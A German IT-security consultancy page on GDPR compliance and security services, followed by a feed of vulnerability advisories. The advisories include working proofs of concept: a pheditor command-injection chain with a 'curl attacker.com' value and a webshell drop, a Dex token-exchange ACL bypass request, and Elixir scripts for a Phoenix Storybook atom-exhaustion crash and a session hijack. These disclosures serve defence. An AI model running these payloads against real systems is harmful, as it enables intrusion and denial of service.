Beratung zu IT-Sicherheit & Datenschutz


Die Datenschutz-Grundverordnung beziehungsweise das Bundesdatenschutzgesetz betreffen uns alle - jeder, der Daten von Dritten erfasst, speichert oder verarbeitet muss den europäischen Standard einhalten. Die umfangreichen Gesetzestexte regeln Rechte und Pflichten aber auch technische und organisatorische Maßnahmen zum Datenschutz, Aufbewahrungspflichten, Sicherheitsstandards und Vorgaben zur Dokumentation von Verfahren und Vorfällen sowie die Vorgaben zur Berufung eines Datenschutzbeauftragten mit einer besonderen Aufsichts- und Beratungspflicht.

Die DSGVO und das BDSG sollte dabei nicht nur schriftlich in langen Rechtstexten, Datenschutzhinweisen und Verfahrensdokumentationen umgesetzt werden sondern es sollten konkrete technische Standards etabliert und eingehalten werden um dem Verlust von Daten vorzubeugen, der unberechtigten Nutzung von Daten einhalt zu gebieten und Angreifer und Hacker zuverlässig abzuwehren.

Da umfangreiches Know-How sowohl im Bezug auf die Rechtsgrundlagen als auch auf die technischen Risiken und Möglichkeiten erforderlich sind um ein angemessenes Datenschutzkonzept zu etablieren haben viele Unternehmen große Schwierigkeiten bei der Umsetzung. Unsere IT- und Datenschutzberatung setzt hier an - mit unserer Expertise können wir Sie dabei unterstützen Datenschutz technisch und rechtlich angemessen umzusetzen.
Wir unterstützen Sie gerne! »

  Unsere Leistungen

Datenschutzberatung durch geprüften DSB
Umsetzung von IT-Richtlinien / Gesetzen
Analyse & Beratung zur IT-Sicherheit
Erstellung von Dokumentationen



Was steckt dahinter?

Das "Who is Who" - DSGVO, GDPR, BDSG, TMG, ...
Innerhalb der EU gilt seit 2018 die sogenannte General Data Protection Regulation (GDPR), die in Deutschland unter der Bezeichnung "Datenschutz-Grundverordnung" (DSGVO) in nationales Recht umgesetzt wurde. Das Bundesdatenschutzgesetz (BDSG) präzisiert die Regelungen der DSGVO und fügt weitere nationale Regelungen hinzu. Für Betreiber von Internetangeboten ist zudem das Telemediengesetzes (TMG) relevant. Dies bezieht sich allerdings weniger auf den Datenschutz als auf grundlegende Regelungen im IT-Recht.

Was ist Datenschutzberatung?
Unser TÜV geprüfter Datenschutzbeauftragter mit juristischer Qualifikation berät Sie gerne zu Fragen rund um die Umsetzung von Datenschutzrecht in Ihren konkreten Projekten. Darüber hinausgehende zivilrechtliche Fragestellungen hingegen fallen nicht in den Bereich der Datenschutzberatung.




Die rechtliche Seite: DSGVO

Die DSGVO beziehungsweise das Bundesdatenschutzgesetz stellen verschiedene Forderungen an Unternehmen und Organisationen die zwingend einzuhalten sind um rechtskonform Daten zu verarbeiten. Als Verarbeiter von Daten zählen Sie schon dann, wenn Sie die Daten von Mitarbeitenden oder Kunden erfassen oder speichern.

Damit gilt die DSGVO sowohl für Kleinstunternehmen und Vereine wie auch für große Unternehmen und global Player.

Während die gesetzlichen Regelungen in vielen Bereichen sehr präzise Vorgaben machen welche Dokumente und Verfahren es geben muss und welche Rechte, Pflichten und Fristen gelten, gibt es in vielen Bereichen auch große Unsicherheiten. Häufiger werden Maßnahmen gefordert die sich am Stand der Technik orientieren oder technische Notwendigkeit und Machbarkeit zur Maßgabe machen.

Im Rahmen einer rechtlichen Datenschutzberatung geht es darum Sie über Ihre Rechte und Pflichten als Datenverarbeiter zu informieren und gemeinsam zu prüfen und sicherzustellen, dass die geforderten Unterlagen und Prozesse korrekt umgesetzt werden. Wir zeigen Ihnen gernen auch Tools und Best Practices zur Umsetzung der Rechte Betroffener und Ihrer Pflichten als Verarbeiter.

Wir unterstützen Sie dabei den Überblick zu bewahren!

Die technische Seite: IT-Sicherheit

Während die rechtliche Seite sich viel mit Fragen nach Rechten und Pflichten, der Haftung und der Verantwortung beschäftigt, ist die technische Seite des Datenschutzes sehr viel präziser:

Wie verhindern Sie, dass Ihre Daten in falsche Hände kommen?

Sie sammeln und verarbeiten vermutlich jeden Tag Daten von Dritten und speichern diese in internen Tools, verarbeiten sie auf Ihren oder fremden Servern, übertragen Sie zu Dienstleistern oder bauen sogar einen wesentlichen Teil Ihrer Tätigkeit auf der Verarbeitung auf.

Ein potentieller Angreifer oder Hacker versucht stets den schwächsten Punkt zu identifizieren, um Zugriff zu Ihren Daten zu erlangen. Häufig nutzen Hacker dazu bekannte Sicherheitslücken nicht aktualisierter Systeme aus, suchen nach vergessenen oder auch versehentlich offen stehenden Türen oder greifen sensible Zugangsdaten ab, wodurch sie auch ohne große Anstrengungen unberechtigten Zugang erlangen und viel Schaden anrichten können. Dabei müssen Sie nichtmal das primäre Ziel des Angriffs sein, sondern könnten vermeintlich auch Opfer eines größer angelegten Angriffs auf mehrere Unternehmen werden.

Wir unterstützen Sie dabei, ein Sicherheitskonzept in Ihrer IT zu etablieren und die Angriffflächen zu reduzieren.





IT-Sicherheit - bleiben Sie auf dem Laufenden


Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.

Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.

Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.

Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.


Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
Risiko / Label Veröffentlichung
Risiko 9.5 / 10 CVE-2026-48030 vor 1 Stunde(n)
### Summary An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. ### Details The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization. Vulnerable code (pheditor.php, line 554–586): ```php $command = $_POST['command']; // ✓ metacharacters checked $dir = $_POST['dir']; // ✗ NOT checked — vulnerable if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { die(...); // only guards $command, not $dir } $output = shell_exec( (empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd' // ← $dir injected here ); ``` An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely. Fix: replace `$dir` with `escapeshellarg($dir)` on line 586. ### PoC Requirements: valid credentials, terminal permission enabled (default) Step 1 — Authenticate: ```bash curl -c cookies.txt -X POST http://TARGET/pheditor.php \ -d "pheditor_password=admin" -L > /dev/null ``` Step 2 — Get CSRF token: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') ``` Step 3 — Confirm curl is blocked via command field: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=curl https://ifconfig.me" \ --data-urlencode "dir=/tmp" → {"error":true,"message":"Command not allowed"} ``` Step 4 — Bypass whitelist via dir injection: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #" → {"error":false,"message":"OK","dir":""} ``` Step 5 — Full RCE via webshell: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/var/www/html; echo '' > /var/www/html/shell.php #" curl "http://TARGET/shell.php?c=id" → uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to: - Execute arbitrary OS commands as the web server user - Bypass the TERMINAL_COMMANDS whitelist entirely - Deploy persistent PHP webshells to the webroot - Read, write, or delete any file accessible to the web server - Potentially compromise other applications on the same server
Risiko 7.5 / 10 GHSA-7qjx-gp9h-65qj vor 1 Stunde(n)
## Summary `server/handlers.go::handleTokenExchange` (lines 1804-1893) does not call `isConnectorAllowed(client.AllowedConnectors, connID)` before issuing tokens, while sibling handlers do. This is a per-client connector ACL gap on the token-exchange endpoint; the redirect-flow paths enforce the same field correctly. ## Affected code path `handleTokenExchange` reads `connector_id` from the request body at `server/handlers.go:1822`. Validators called between read and token issuance: - `s.getConnector(ctx, connID)` at line 1836 - confirms connector exists - `GrantTypeAllowed(conn.GrantTypes, grantTypeTokenExchange)` at line 1842 - confirms connector permits this grant - **(missing)** `isConnectorAllowed(client.AllowedConnectors, connID)` - never called Tokens are issued at lines 1887 / 1889, bound to `client.ID` carrying claims derived from `connID`. Sibling handlers DO enforce the check: - `server/handlers.go::handleConnectorLogin:377` - calls `isConnectorAllowed`, returns HTTP 403 "Connector not allowed for this client." (line 380). - `server/oauth2.go::parseAuthorizationRequest:535` - same enforcement for the authorization-code flow. The doc-string at `storage/storage.go:192-194` reads: > *AllowedConnectors is a list of connector IDs that the client is allowed to use for authentication. If empty, all connectors are allowed.* The phrasing is unconditional - a permission ACL, not a UX filter. ## Impact (concrete scenario) - Connector `corp-okta` - high-trust, gates production access - Connector `dev-google` - low-trust, internal Gmail - Client `dev-app` configured with `allowedConnectors: ["dev-google"]` (admin intent: dev-app only sees dev-google identities) - `dev-app`s client secret leaks (CI artifact, env file, breached service-account secret store) Without the bug, the leaked secret would only allow the attacker to mint tokens via `dev-google` - blast radius bounded by what any dev-google user can already do. With the bug, an attacker holding their own legitimate `corp-okta` ID token sends: ``` POST /token Content-Type: application/x-www-form-urlencoded grant_type=urn:ietf:params:oauth:grant-type:token-exchange &client_id=dev-app &client_secret= &connector_id=corp-okta &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:id_token &scope=openid+groups ``` Dex returns an ID token signed by Dex, `aud=dev-app`, carrying the attackers `corp-okta` groups. Downstream services trusting tokens issued for `dev-app` see the attacker as a `corp-okta` user - a combination the admins policy explicitly forbade. ## Severity (self-assessed) CVSS 3.1 vector: `AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N` -> **8.7 HIGH**. The `PR:H` precondition is a real reduction (requires leaked confidential client_secret PLUS attacker holding a `subject_token` from a forbidden connector that has token-exchange enabled). Defer to your scoring - HIGH and MEDIUM are both defensible. ## Affected version `master` only - **not yet in any released tag**. Latest release `v2.45.1` (2026-03-03) predates PR #4610 (commit `f80a89d`, 2026-03-11) which introduced `AllowedConnectors`. Production deployments on stable releases are NOT affected; deployments pulling from master / nightly images are. A fix can be merged ahead of the next release without an embargo for past versions. ## Precedent / lineage - PR #4610 (commit `f80a89d`, 2026-03-11) - added the `AllowedConnectors` field, `isConnectorAllowed`, `filterConnectors`, and the redirect-flow check sites (`handleConnectorLogin:377`, `parseAuthorizationRequest:535`). Did not modify `handleTokenExchange`. - PR #4619 (commit `7777773`, 2026-03-11, same author, one day earlier) - added `GrantTypeAllowed(conn.GrantTypes, grantTypeTokenExchange)` to `handleTokenExchange`. Added a connector-side grant-type gate but did not add the symmetric client-side connector ACL. ## Suggested fix Insert `isConnectorAllowed(client.AllowedConnectors, connID)` between the existing `getConnector` / `GrantTypeAllowed` checks and the connector cast at line 1847, returning HTTP 403 via the token-endpoint error helper. Mirror the existing patterns at `handlers.go:377-380` and `oauth2.go:535`. One-block addition. ## Verification methodology Two-stage verification per IRIS / XBOW pattern (LLM-assisted research with non-LLM verifier as last stage): 1. **Code-mechanics** - independent cold-read of `server/handlers.go`, `server/oauth2.go`, `storage/storage.go` confirmed the missing check at `handleTokenExchange` and the present checks at the two siblings; cross-checked diffs of PR #4610 (`f80a89d`) and PR #4619 (`7777773`). 2. **External grounding** - cross-checked `docs/configuration/customization`, `docs/guides/token-exchange/`, RFC 8693 (which defers per-client policy to implementations), `.github/SECURITY.md`, GHSA dashboard, huntr.com, and existing issues including #3546 (different mechanism: connector-level disable list, orthogonal to this finding). No prior public report of this gap was found. `semgrep` (`p/golang` + `p/security-audit`) on `server/` returned no ERROR-severity findings - the static tool cannot detect missing-validator gaps; evidence rests on file:line grep + sibling-handler comparison above. ## Reporter Matteo Panzeri (GitHub: @matte1782, contact: matteo1782@gmail.com). Please credit as **Matteo Panzeri** if a CVE is requested.
Risiko 5 / 10 CVE-2026-47767 vor 1 Stunde(n)
### Description CVE-2024-50340 (GHSA-x8vp-gf4q-mw5j) addressed an issue where, with `register_argc_argv=On`, a crafted query string let an unauthenticated GET change the kernel environment and debug flag by feeding `--env`/`--no-debug` through `$_SERVER['argv']`. The fix shipped in `symfony/runtime` 5.4.46 / 6.4.14 / 7.1.7 gated the argv read on `empty($_GET)` as a proxy for "is this a CLI invocation". That proxy is unsafe: `parse_str()` (which builds `$_GET`) and the web SAPI (which builds `$_SERVER['argv']` from the raw query when `register_argc_argv=On`) do not agree on every input, so an attacker can craft a query that leaves `$_GET` empty while `$_SERVER['argv']` carries the attacker's flags. `SymfonyRuntime::getInput()` then parses them, restoring the exact primitive CVE-2024-50340 was meant to prevent. Preconditions and impact match the original CVE: web SAPI, `register_argc_argv=On`, app booted through `symfony/runtime`; from an unauthenticated GET an attacker can flip `APP_ENV` and toggle `APP_DEBUG`. ### Resolution `SymfonyRuntime` now gates the argv read on `isset($_SERVER['QUERY_STRING'])` rather than on `empty($_GET)`. `QUERY_STRING` is the same input the SAPI uses to build argv, so the security check and the thing it protects no longer parse different sources. Worker SAPIs (FrankenPHP / RoadRunner / Swoole) keep working because the runtime constructor runs once at boot when `QUERY_STRING` is unset. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/3228c3806ee511008bea19a95084d460b17e5d25) for branch 5.4. ### Credits SymfonyRuntime would like to thank 0xEr3n for reporting the issue and Nicolas Grekas for providing the fix.
Risiko 7.5 / 10 CVE-2026-8469 vor 20 Tag(en)
### Summary An attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route. Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395 ### Details `PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist: - `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key. - `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `"attr"` value supplied by the client. - `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `"variation_id"`. - `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`. The existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts. The fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there. ### PoC The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`. Each simulated request is a params map with 5,000 unique keys of the form `"psb_evil___"`. Because the helper does `for {key, value} <- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM. The script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event. The full script is attached below under "Scripts and Logs". ### Impact Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production. ## Scripts and Logs ```elixir # Verifies: Unbounded atom creation from LiveView event params (atom-table DoS) # # Run with: # elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs # # Threat model: an outside attacker who can deliver `psb-assign` events to a # mounted storybook view supplies attacker-controlled param maps. The library's # public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` # is the documented entry point that LiveView event handlers feed those params # into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The # helper interns every key of `params` with `String.to_atom/1`, so unique # attacker strings each create a permanent atom. Mix.install([{:phoenix_storybook, "1.0.0"}]) alias PhoenixStorybook.ExtraAssignsHelpers alias PhoenixStorybook.Stories.Variation defmodule FakeStory do def attributes, do: [] def variations, do: [%Variation{id: :default, attributes: %{}}] end extra_assigns = %{{:single, :default} => %{}} # Each request from the attacker is one params map. Use 5_000 unique attribute # names per request, across 5 requests = 25_000 distinct atoms permanently # leaked. (Kept modest so the script finishes quickly; raise to crash the VM.) nonce = System.unique_integer([:positive]) requests = 5 attrs_per_request = 5_000 before_count = :erlang.system_info(:atom_count) for r <- 1..requests do attacker_params = for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do {"psb_evil_#{nonce}_#{r}_#{i}", "x"} end ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory) end after_count = :erlang.system_info(:atom_count) delta = after_count - before_count IO.puts("atom_count before: #{before_count}") IO.puts("atom_count after: #{after_count}") IO.puts("delta: #{delta}") IO.puts("atom_limit: #{:erlang.system_info(:atom_limit)}") expected = requests * attrs_per_request if delta >= expected do IO.puts( "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM." ) else IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})") end ``` ### Logs ```logs atom_count before: 26341 atom_count after: 51361 delta: 25020 atom_limit: 1048576 VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM. ```
Risiko 9.5 / 10 CVE-2026-8467 vor 20 Tag(en)
### Summary An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir `Kernel` access. ### Details The vulnerability is a three-step chain: **1. Unsanitized WebSocket input (`extra_assigns_helpers.ex`)** The `psb-assign` event handler in `PhoenixStorybook.Story.PlaygroundPreviewLive` accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via `ExtraAssignsHelpers.handle_set_variation_assign/3`. **2. Unescaped interpolation into HEEx (`component_renderer.ex`)** `ComponentRenderer.attributes_markup/1` builds a HEEx template string by interpolating binary attribute values directly: ```elixir {name, val} when is_binary(val) -> ~s|#{name}="#{val}"| ``` No escaping of `"` or `{` is performed. A value such as `foo" injected={EXPR} bar="` breaks out of the attribute string and injects `EXPR` as an inline HEEx expression. **3. Unsandboxed evaluation (`component_renderer.ex`)** The resulting HEEx string is compiled via `EEx.compile_string/2` and evaluated via `Code.eval_quoted_with_env/3` with full `Kernel` imports and no sandbox. The injected expression executes on the server even if it causes a rendering error. ### PoC 1. Identify any story URL with a Playground tab (e.g. `/storybook/core_components/button`). 2. Connect to the Phoenix LiveView WebSocket without any authentication. 3. Join the story's LiveView channel and send a `psb-assign` event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a `System.cmd/2` call). 4. The server evaluates the injected expression and returns its output in the rendered response. No authentication, no special configuration, and no user interaction are required. ### Impact This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of `phoenix_storybook` from 0.5.0 before 1.1.0 are affected. ## Resources * Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d * Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d
Risiko 2 / 10 CVE-2026-47068 vor 20 Tag(en)
### Summary The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak. Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7 ### Details `PhoenixStorybook.Story.ComponentIframeLive.handle_params/3` (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from `params["topic"]` and broadcasts on it: ```elixir if topic = params["topic"] do Phoenix.PubSub.broadcast!( PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()} ) end ``` The shared `PhoenixStorybook.PubSub` is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the `{:component_iframe_pid, _}` message, and then uses `send/2` to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid. Because the iframe trusts the query parameter, an attacker who loads `/storybook/iframe/?topic=` in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in `handle_info/2`. There is no authentication, ownership check, or binding between the topic and the requesting session. The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed. ### PoC The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via `live_storybook("/storybook", backend_module: MyStorybook)`. The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP `GET /storybook/iframe/?topic=`, which mounts `ComponentIframeLive` and triggers the vulnerable `handle_params/3` call site shown above. To simulate a legitimate playground, the script spawns a "victim" process that calls `Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)` with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single `Req.get!` to the iframe URL with `?topic=` URL-encoded onto the query string. Inside the iframe LiveView, `params["topic"]` is the attacker-supplied value, and `Phoenix.PubSub.broadcast!/3` delivers `{:component_iframe_pid, self()}` to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic. The victim process pattern-matches on `{:component_iframe_pid, attacker_iframe_pid}` and forwards it to the test harness. The script prints `VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic` along with the leaked pid when the cross-session message arrives, and `NOT VERIFIED` if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs". ### Impact Cross-session information disclosure and message injection in any application that exposes `phoenix_storybook` over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic. ## Scripts and Logs ```elixir # Verifies: Cross-session PubSub topic injection via URL parameter # # Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs # # Threat model: an outside attacker who can browse the storybook iframe URL. # They open `/storybook/iframe/?topic=` in their own # browser. The iframe LiveView's handle_params broadcasts # `{:component_iframe_pid, self()}` on whatever topic the attacker put in the # query string. A victim's playground that subscribed to `victim_topic` # (legitimately, for its own iframe) receives the attacker's iframe pid and # will subsequently address its private control messages to that pid. # # This PoC stands up a real Phoenix endpoint + the library's own router, has a # "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a # plain HTTP GET to the iframe URL with `?topic=` from an attacker # session. If the victim receives the iframe pid, the topic was successfully # hijacked. Mix.install([ {:phoenix_storybook, "1.0.0"}, {:phoenix_live_view, "~> 1.0"}, {:bandit, "~> 1.5"}, {:req, "~> 0.5"}, {:jason, "~> 1.4"} ]) # ----- 1. Minimum on-disk story so the iframe LV actually mounts. ----- tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}") File.mkdir_p!(tmp) File.write!(Path.join(tmp, "demo.story.exs"), """ defmodule Storybook.Demo do use PhoenixStorybook.Story, :component def function, do: &Phoenix.Component.link/1 def variations do [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}] end end """) # ----- 2. Storybook backend + Phoenix endpoint/router. ----- expanded_content_path = Path.expand(tmp) Module.create( MyStorybook, quote do use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path) end, Macro.Env.location(__ENV__) ) defmodule MyRouter do use Phoenix.Router import Phoenix.LiveView.Router import PhoenixStorybook.Router scope "/" do live_storybook("/storybook", backend_module: MyStorybook) end end poc_port = Enum.random(20_000..30_000) Application.put_env(:psb_poc, MyEndpoint, http: [ip: {127, 0, 0, 1}, port: poc_port], server: true, secret_key_base: String.duplicate("a", 64), live_view: [signing_salt: "12345678"], pubsub_server: PhoenixStorybook.PubSub, adapter: Bandit.PhoenixAdapter, check_origin: false ) defmodule MyEndpoint do use Phoenix.Endpoint, otp_app: :psb_poc @session_options [ store: :cookie, key: "_psb_poc_key", signing_salt: "12345678", same_site: "Lax" ] socket "/live", Phoenix.LiveView.Socket, websocket: true plug Plug.Session, @session_options plug :fetch_query_params_plug plug MyRouter def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn) end # ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). ----- {:ok, _} = MyEndpoint.start_link() base = "http://127.0.0.1:#{poc_port}" # ----- 4. Victim subscribes to its private playground topic. ----- victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}" victim = self() # A separate process plays the role of the victim's playground LV. It # subscribes to its own topic — exactly what PlaygroundLive does when the # legitimate user opens their playground page. victim_pid = spawn_link(fn -> :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) send(victim, :victim_ready) receive do {:component_iframe_pid, attacker_iframe_pid} -> send(victim, {:victim_got, attacker_iframe_pid}) after 5_000 -> send(victim, :victim_timeout) end end) receive do :victim_ready -> :ok after 2_000 -> raise "victim subscribe timed out" end # ----- 5. Attacker, in a completely unrelated session, hits the iframe URL # with ?topic=. ----- attacker_url = base <> "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic) _resp = Req.get!(attacker_url, retry: false) # ----- 6. Observe the cross-session leak. ----- outcome = receive do {:victim_got, leaked_pid} -> {:leaked, leaked_pid} :victim_timeout -> :no_leak after 6_000 -> :no_leak end # ----- 7. Tear down. ----- :ok = Supervisor.stop(MyEndpoint, :normal) File.rm_rf!(tmp) if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill) case outcome do {:leaked, pid} -> IO.puts("Victim received iframe pid: #{inspect(pid)}") IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)") IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.") IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic") :no_leak -> IO.puts("NOT VERIFIED: no cross-session message observed within timeout") end ``` ### Logs ```logs 11:56:17.598 [warning] Can't resolve priv dir for application psb_poc 11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http) 11:56:17.750 [info] Access MyEndpoint at http://localhost:26466 11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0 Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"} Pipelines: [:storybook_browser] Victim received iframe pid: #PID<0.598.0> Victim's topic was: playground-secret-8 (never shared with attacker session) Attacker only needed to know/guess that topic to hijack the pid handshake. VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic ```
Risiko 5 / 10 CVE-2025-2998 vor 435 Tag(en)
